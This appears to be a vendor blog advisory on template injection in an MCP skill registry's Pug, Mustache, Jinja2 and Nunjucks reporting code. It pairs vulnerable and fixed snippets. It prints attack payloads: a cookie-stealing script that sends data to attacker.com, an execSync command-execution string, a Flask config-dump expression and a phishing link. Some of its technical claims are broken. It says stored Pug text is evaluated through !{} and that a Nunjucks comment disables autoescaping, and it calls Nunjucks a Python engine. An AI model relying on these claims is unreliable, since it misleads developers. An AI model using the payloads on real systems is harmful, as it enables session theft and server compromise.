← Blog

Claude MCP skill template injection — report generation and email notification — SA-SKL-INJECTION14

Template engines power the report generation and email notification pipelines that skill registries use to communicate audit results to developers. When user-supplied values such as skill names and descriptions are interpolated into templates without escaping — or when template engine safety features are accidentally disabled — the result ranges from stored XSS in every report viewer to server-side RCE on the report generator. SA-SKL-INJECTION14 covers four template injection patterns across Pug, Mustache, Jinja2, and Nunjucks in a typical MCP skill registry's reporting stack.

By SkillAudit  |  13 Nov 2026
SA-SKL-INJECTION14 findings at a glance
CRITICALINJECTION14-001 — Pug audit report template uses !{skillName} (unescaped interpolation); attacker registers a skill named #{require('child_process').execSync('id').toString()}; Pug evaluates the expression server-side during render, producing RCE on the report generation service
HIGHINJECTION14-002 — Mustache report viewer template uses triple-mustache {{{skillDescription}}}, skipping HTML escaping; attacker stores a <script> tag in their skill description; every user who views a report for that skill is served stored XSS in the report viewer
CRITICALINJECTION14-003 — Python Flask email notification service passes skill_name directly to render_template_string(); attacker registers a skill named {{ config.items()|list }}; Jinja2 evaluates the expression and returns all Flask config keys including SECRET_KEY, DATABASE_URL, and SMTP_PASSWORD in the email subject
MEDIUMINJECTION14-004 — Nunjucks weekly digest email template has a leftover {# noescape #} debug comment that sets autoescape: false for the template; attacker skill name with HTML renders as a live phishing link in every recipient's email client

Background: template injection in multi-engine reporting stacks

MCP skill registries commonly use multiple template engines — a Node.js template engine (Pug or Mustache) for HTML report pages, and a Python template engine (Jinja2 or Nunjucks) for email notifications sent from a separate microservice. Each engine has its own escaping model and its own ways that escaping can be accidentally disabled. INJECTION14-001 and INJECTION14-003 are server-side template injection (SSTI) vulnerabilities that execute arbitrary code on the server. INJECTION14-002 and INJECTION14-004 are HTML injection vulnerabilities that result in stored XSS or phishing links delivered to report viewers and email recipients.

The common root cause across all four findings is treating user-supplied skill metadata (name, description) as trusted template content rather than as data that must be escaped before interpolation. The fix pattern is the same in every case: use the template engine's default escaped interpolation, never construct template strings from user input, and enforce escaping at the template engine configuration level as defense-in-depth.

INJECTION14-001 — CRITICAL — Pug unescaped interpolation !{} causes RCE on report render

The Pug template for the HTML audit report page uses !{skillName} — Pug's unescaped buffered code interpolation — in several places where the developer intended to allow rich text formatting in the skill name. In Pug, !{expr} evaluates the expression as JavaScript and injects the result without HTML escaping. An attacker registers a skill with the name #{require('child_process').execSync('id').toString()}. When Pug renders the report template, it evaluates require('child_process').execSync('id') as a JavaScript expression in the Node.js process context, executes the shell command id, and interpolates the output into the HTML. Because the report generation service runs with the same OS privileges as the Node.js process, the attacker can escalate from id to arbitrary shell commands, reading environment variables, database credentials, and writing reverse shell scripts.

The fix is straightforward: replace all !{variable} with #{variable} in Pug templates wherever the value is user-supplied. Additionally, validate skill names against a strict allowlist pattern before persisting them to the database — this prevents the malicious name from ever being stored. Run Pug in an environment where require is not accessible to template expressions as defense-in-depth.

Vulnerable
// VULNERABLE — INJECTION14-001
// templates/audit-report.pug (excerpt)

doctype html
html
  head
    title Audit Report
  body
    h1 Audit Report
    //- BUG: !{} is unescaped — evaluates arbitrary JavaScript
    //- attacker skill name: "#{require('child_process').execSync('id').toString()}"
    p.skill-name= !{skillName}
    p.grade= !{grade}
    .description
      p= !{skillDescription}
Fixed
// FIXED — INJECTION14-001
// templates/audit-report.pug (excerpt)

doctype html
html
  head
    title Audit Report
  body
    h1 Audit Report
    //- FIXED: #{} is escaped interpolation — does not evaluate as JS
    p.skill-name= #{skillName}
    p.grade= #{grade}
    .description
      p= #{skillDescription}

// routes/reports.js — input validation before DB persist
const SKILL_NAME_RE = /^[a-zA-Z0-9_\-\. ]{1,100}$/;

function validateSkillName(name) {
  if (!SKILL_NAME_RE.test(name)) {
    throw new Error('Skill name must match pattern [a-zA-Z0-9_\\-\\. ]{1,100}');
  }
  return name;
}

router.post('/api/skills', async (req, res) => {
  const name = validateSkillName(req.body.name);  // throws on malicious input
  await db.skills.create({ data: { name, ...rest } });
  res.status(201).json({ id: skill.id });
});

INJECTION14-001 impact: RCE on the report generation service gives the attacker full access to the Node.js process environment, including process.env.DATABASE_URL, process.env.AWS_ACCESS_KEY_ID, and any secrets mounted as environment variables. Because the report generation service may run as a privileged container with access to the internal Docker network, RCE here is equivalent to a full internal network compromise. SkillAudit detects this by scanning all Pug templates for !{ interpolations where the variable traces back to user-supplied skill metadata fields.

INJECTION14-002 — HIGH — Mustache triple-mustache skips HTML escaping, causing stored XSS

The Mustache template for the report viewer HTML page uses {{{skillDescription}}} — triple-mustache — to render skill descriptions. Triple-mustache in Mustache.js explicitly skips HTML entity encoding. The developer's intent was to allow HTML formatting in descriptions (bold, links), but the description field is not sanitized through an allowlist HTML sanitizer before storage, so any HTML is accepted. An attacker sets their skill description to <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. This is stored verbatim in the database. Every user who views any audit report that includes this skill (which may be many reports, since the same skill can appear in multiple audits) is served the XSS payload. The script executes in the context of the skillaudit.dev domain, stealing session cookies and local storage tokens.

The fix is to replace {{{skillDescription}}} with {{skillDescription}} (double-mustache, escaped). If rich HTML formatting in descriptions is required, sanitize the input through a strict allowlist HTML sanitizer (e.g., DOMPurify with ALLOWED_TAGS set to ['b', 'i', 'em', 'strong', 'a']) before storage, then use triple-mustache only on the pre-sanitized value. Add a strict CSP on the report viewer page as defense-in-depth.

Vulnerable
// VULNERABLE — INJECTION14-002
// templates/report-viewer.mustache (excerpt)

<div class="skill-info">
  <h2>{{skillName}}</h2>
  <!-- BUG: triple-mustache skips HTML escaping -->
  <!-- attacker description: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> -->
  <p class="description">{{{skillDescription}}}</p>
  <p class="grade">Grade: {{grade}}</p>
</div>

// routes/reports.js — no sanitization at store time
router.post('/api/skills', async (req, res) => {
  // BUG: description stored as-is from request body
  await db.skills.create({ data: { description: req.body.description } });
});
Fixed
// FIXED — INJECTION14-002
// templates/report-viewer.mustache (excerpt)

<div class="skill-info">
  <h2>{{skillName}}</h2>
  <!-- FIXED: double-mustache — HTML entities escaped -->
  <p class="description">{{skillDescription}}</p>
  <p class="grade">Grade: {{grade}}</p>
</div>

// routes/reports.js — sanitize at write time AND use escaped interpolation
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const purify = createDOMPurify(new JSDOM('').window);

const ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'a', 'p', 'br'];
const ALLOWED_ATTR = ['href'];  // 'href' only on <a> — DOMPurify enforces this

router.post('/api/skills', async (req, res) => {
  // Sanitize description through allowlist HTML sanitizer before storage
  const cleanDescription = purify.sanitize(req.body.description, {
    ALLOWED_TAGS,
    ALLOWED_ATTR,
  });
  await db.skills.create({ data: { description: cleanDescription } });
  res.status(201).json({ ok: true });
});

// report-viewer CSP header (defense-in-depth)
// Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'

INJECTION14-002 impact: Stored XSS in a report viewer that serves content from a shared skill registry affects every organization that has audited the attacker's skill. Because skill audit reports are shared with management and security teams, the XSS payload reaches a broad audience of privileged users. The attacker can steal session tokens, pivot to CSRF attacks against the registry API, or redirect users to phishing pages. SkillAudit detects this by scanning all Mustache templates for {{{ interpolations where the value traces back to user-supplied skill metadata fields.

INJECTION14-003 — CRITICAL — Jinja2 render_template_string() with user input causes SSTI

Audit result email notifications are sent by a Python Flask microservice. The email subject line is assembled from a format string that includes the skill name, then passed to Jinja2's render_template_string(). The Flask service fetches skill metadata from the Node.js registry API and passes skill_name as part of the template string — not as a template variable. An attacker registers a skill named {{ config.items()|list }}. When the Flask service renders the email subject, Jinja2 evaluates the expression config.items()|list in the Flask application context, returning all configuration key-value pairs as a list string. This list includes SECRET_KEY, DATABASE_URL, and SMTP_PASSWORD. The expanded config is used as the email subject line and sent to the recipient, who may be any organization member who subscribed to audit notifications. The attacker can subscribe to their own skill's audit notifications to receive the config dump directly.

The fix is to never pass user-supplied strings to render_template_string(). Instead, use a pre-compiled Jinja2 template with the user-supplied value passed as a template variable — Jinja2 variables passed this way are not evaluated as template expressions. For additional protection, use jinja2.sandbox.SandboxedEnvironment which restricts access to Python built-ins and module attributes within template expressions.

Vulnerable
# VULNERABLE — INJECTION14-003
# email_service/notifications.py

from flask import Flask, render_template_string
import requests

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super-secret-key-do-not-expose'
app.config['DATABASE_URL'] = 'postgresql://user:pass@db:5432/registry'
app.config['SMTP_PASSWORD'] = 'smtp-secret-password'

def send_audit_notification(report_id, recipient_email):
    # Fetch skill metadata from registry API
    skill = requests.get(f'http://registry-api/api/skills/{report_id}').json()
    skill_name = skill['name']
    grade = skill['auditGrade']

    # BUG: skill_name is embedded in the template string — Jinja2 evaluates it
    # attacker skill name: "{{ config.items()|list }}"
    subject_template = f"Audit result for {skill_name}: {grade}"

    # render_template_string evaluates the full string as a Jinja2 template
    subject = render_template_string(subject_template)
    # subject now contains: "Audit result for [('SECRET_KEY', 'super-secret-key...'), ...]: A"

    send_email(recipient_email, subject, body='See attached report.')
Fixed
# FIXED — INJECTION14-003
# email_service/notifications.py

from jinja2.sandbox import SandboxedEnvironment
from markupsafe import Markup, escape
import requests

# Use SandboxedEnvironment — restricts access to Python built-ins in templates
env = SandboxedEnvironment(autoescape=True)

# Pre-compiled template — user value passed as variable, not embedded in template string
SUBJECT_TEMPLATE = env.from_string(
    "Audit result for {{ skill_name }}: {{ grade }}"
)

def send_audit_notification(report_id, recipient_email):
    skill = requests.get(f'http://registry-api/api/skills/{report_id}').json()
    skill_name = skill['name']
    grade = skill['auditGrade']

    # FIXED: skill_name passed as a template variable — not evaluated as a template expression
    # Jinja2 escapes the variable value before interpolation (autoescape=True)
    subject = SUBJECT_TEMPLATE.render(
        skill_name=skill_name,  # "{{ config.items()|list }}" renders as literal text
        grade=grade,
    )
    # subject: "Audit result for {{ config.items()|list }}: A" — literal, escaped

    send_email(recipient_email, subject, body='See attached report.')

INJECTION14-003 impact: Jinja2 SSTI in a Flask application can escalate beyond config disclosure to full RCE via {{ ''.__class__.__mro__[1].__subclasses__() }} gadget chains that reach subprocess.Popen. Even without RCE, the config dump includes SECRET_KEY (used to sign Flask session cookies, forging admin sessions) and SMTP_PASSWORD (enabling email spoofing). SkillAudit detects this by scanning Python Flask email services for calls to render_template_string() where the template argument is constructed from a string containing user-supplied skill metadata variables using f-strings or .format().

INJECTION14-004 — MEDIUM — Nunjucks noescape debug tag disables autoescaping in email digest

A legacy Nunjucks email template for weekly digest notifications has the comment {# noescape #} near the top of the file. This is a custom Nunjucks tag added during a debugging session that sets the template's autoescape option to false for the remainder of the render. With autoescaping disabled, all variable interpolations in the template — {{ skillName }}, {{ skillDescription }}, {{ authorName }} — render raw HTML without entity encoding. An attacker registers a skill with the name <a href="https://phishing.skillaudit.dev/upgrade">Click to claim your free Pro upgrade</a>. This renders as a live hyperlink in the weekly digest email sent to all subscribers, appearing on the trusted skillaudit.dev email domain. Recipients who click the link are sent to a phishing page mimicking the SkillAudit upgrade flow.

The fix is to remove all {# noescape #} tags from production Nunjucks templates, set autoescape: true globally in the Nunjucks environment configuration, and audit all templates for the safe filter applied to user-supplied variables ({{ skillName | safe }} in Nunjucks has the same effect as triple-mustache — it disables escaping for that variable). Use htmlspecialchars() as a secondary escape layer when assembling values before passing them to the template.

Vulnerable
// VULNERABLE — INJECTION14-004
// email_service/templates/weekly-digest.njk (excerpt)

{# noescape #}
{# Debug flag left in by developer — sets autoescape:false for this template #}

<!-- With autoescape:false, all {{ }} interpolations render raw HTML -->
<h2>This week's top skills</h2>
{% for skill in topSkills %}
  <!-- attacker skill name: <a href="https://phishing.skillaudit.dev/upgrade">Click to claim prize</a> -->
  <div class="skill-row">
    <strong>{{ skill.name }}</strong>
    <span>{{ skill.description }}</span>
  </div>
{% endfor %}

// email_service/mailer.js — Nunjucks configured without global autoescape
const nunjucks = require('nunjucks');
const env = nunjucks.configure('templates');  // autoescape defaults to false in nunjucks.configure
Fixed
// FIXED — INJECTION14-004
// email_service/templates/weekly-digest.njk (excerpt)

{# REMOVED: {# noescape #} tag — never use in production templates #}

<!-- With autoescape:true (global default), {{ }} interpolations are HTML-escaped -->
<h2>This week's top skills</h2>
{% for skill in topSkills %}
  <!-- skill.name is escaped: <a href="..."> renders as &lt;a href=...&gt; -->
  <div class="skill-row">
    <strong>{{ skill.name }}</strong>
    <span>{{ skill.description }}</span>
  </div>
{% endfor %}

// email_service/mailer.js — Nunjucks with autoescape enabled globally
const nunjucks = require('nunjucks');
const env = nunjucks.configure('templates', {
  autoescape: true,     // FIXED: HTML-escape all variable interpolations by default
  throwOnUndefined: true,
});

// Also validate skill names at write time — defense-in-depth
const SKILL_NAME_RE = /^[a-zA-Z0-9_\-\. ]{1,100}$/;
function validateSkillName(name) {
  if (typeof name !== 'string' || !SKILL_NAME_RE.test(name)) {
    throw new Error('Invalid skill name');
  }
  return name;
}

INJECTION14-004 impact: HTML injection in email is lower severity than SSTI because it cannot execute JavaScript (most email clients block <script> tags), but it enables phishing attacks against all digest subscribers from the trusted skillaudit.dev email sender. The {# noescape #} tag is particularly dangerous because it affects the entire template, not just a single variable, and its effect is invisible in the template source unless a developer knows to look for it. SkillAudit detects this by scanning all Nunjucks templates for the {# noescape #} tag and for | safe filters applied to user-supplied skill metadata variables.

Detection with SkillAudit

SkillAudit's SA-SKL-INJECTION14 scanner covers all four template injection patterns. For INJECTION14-001, the scanner performs static analysis of Pug templates to identify !{ interpolations where the variable traces to user-supplied skill fields. For INJECTION14-002, the scanner identifies Mustache {{{ triple-mustache blocks with user-supplied variables. For INJECTION14-003, the scanner traces Python Flask code paths from HTTP request handlers to render_template_string() calls where the template argument contains f-string or .format() interpolation of request-derived values. For INJECTION14-004, the scanner flags Nunjucks templates containing {# noescape #} and identifies | safe filter usage on user-supplied variables.

FindingSeverityVulnerabilityFix
INJECTION14-001CRITICALPug !{} RCE via skill nameUse #{}; strict name validation; disable require in Pug
INJECTION14-002HIGHMustache triple-mustache stored XSS in report viewerUse double-mustache {{}}; DOMPurify allowlist sanitizer; CSP
INJECTION14-003CRITICALJinja2 SSTI exposes Flask config via render_template_stringPre-compiled template + variables; SandboxedEnvironment
INJECTION14-004MEDIUMNunjucks noescape tag enables phishing links in email digestRemove noescape; autoescape:true globally; audit | safe usage

Related findings: SA-SKL-SSRF26 (SSRF in badge and preview rendering), SA-SKL-PRIVESC8 (privilege escalation in report sharing), SA-SKL-INJECTION13 (SQL injection in skill search).

Run SkillAudit against your MCP skill registry to detect all SA-SKL-INJECTION14 template injection patterns before they reach production. SkillAudit performs static analysis of Pug, Mustache, Jinja2, and Nunjucks templates and traces data flow from user-supplied skill metadata fields to template rendering functions. Get started free